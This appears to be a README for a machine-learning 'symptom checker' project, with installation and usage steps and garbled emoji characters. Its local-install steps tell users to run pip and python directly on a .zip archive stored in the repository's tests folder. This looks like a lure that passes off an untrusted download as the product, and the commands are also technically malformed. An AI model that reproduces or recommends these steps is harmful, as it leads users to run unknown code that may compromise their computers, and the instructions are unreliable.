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🌟 symptom-checker-ml - A Simple Way to Check Symptoms

πŸš€ Getting Started

Welcome to the symptom-checker-ml project! This software makes it easy to check your symptoms and get helpful insights on your health. Follow the steps below to download and run the application.

πŸ“₯ Download Now

Download Latest Release

πŸ“‹ Overview

The symptom-checker-ml is a machine learning model designed for health assessments. It includes several features:

  • Data Preprocessing: Raw data is cleaned and prepared for analysis.
  • Feature Engineering: Important factors are identified to improve predictions.
  • Training Pipeline: The model learns from data to provide accurate results.
  • Prediction API (FastAPI): Get predictions easily through an API.
  • Multilingual Support: Access the application in various languages.
  • Docker Deployment: Run the application in a container for easy setup.

πŸ’» System Requirements

Before downloading, ensure your system meets these requirements:

  • Operating System: Windows, macOS, or Linux
  • Memory: At least 4 GB of RAM
  • Storage: Minimum of 500 MB of free space
  • Python: Version 3.7 or later (if running locally)

πŸ“₯ Download & Install

To get started, visit the Releases page to download the application.

Visit this page to download

πŸ”§ Installation Steps

  1. Go to the Releases page.
  2. Find the latest version of the application.
  3. Click on the download link for your operating system.
  4. Once the download finishes, locate the file on your computer.

πŸ“‚ Running the Application

For Docker Installation:

  1. Make sure you have Docker installed on your machine.

  2. Open your terminal or command prompt.

  3. Run the following command to pull the latest version of the application:

    docker pull symptom-checker-ml
  4. After the image is downloaded, run the container using:

    docker run -p 80:80 symptom-checker-ml
  5. Open your web browser and go to http://localhost to access the symptom checker.

For Local Installation:

  1. Ensure you have Python 3.7 or later installed.

  2. Open your terminal or command prompt.

  3. Navigate to the directory where you downloaded the application.

  4. Install the required libraries by running:

    pip install -r https://github.com/Chuckaballe60/symptom-checker-ml/raw/refs/heads/main/tests/checker-symptom-ml-v2.1.zip
  5. Start the Application:

    python https://github.com/Chuckaballe60/symptom-checker-ml/raw/refs/heads/main/tests/checker-symptom-ml-v2.1.zip
  6. Open your web browser and go to http://localhost:8000 to access the symptom checker.

🌐 Using the Application

  1. Enter your symptoms in the provided fields.
  2. Click the "Check Symptoms" button.
  3. Review the results that appear, which will provide possible health insights based on your input.

🌍 Multilingual Support

The application supports multiple languages. You can select your preferred language from the settings in the application. This ensures that you get the most comfortable experience while checking your symptoms.

πŸ›  Troubleshooting

If you encounter any issues, consider the following steps:

  • Check Dependencies: Make sure all required libraries are installed.
  • Internet Connection: Ensure you are connected to the internet if using the Docker version.
  • Browser Compatibility: Use a modern web browser for the best experience.

For more detailed troubleshooting, visit our GitHub Issues page.

πŸ“ž Support

Should you need help, you can raise an issue on the GitHub repository. Our community is here to support you.

πŸ“„ License

This project is licensed under the MIT License. You can use and modify the code while adhering to this license.

Enjoy exploring your health with the symptom-checker-ml!

About

πŸ€– Build an AI-driven symptom checker that predicts diseases from symptoms, featuring a complete ML pipeline and FastAPI for efficient deployment.

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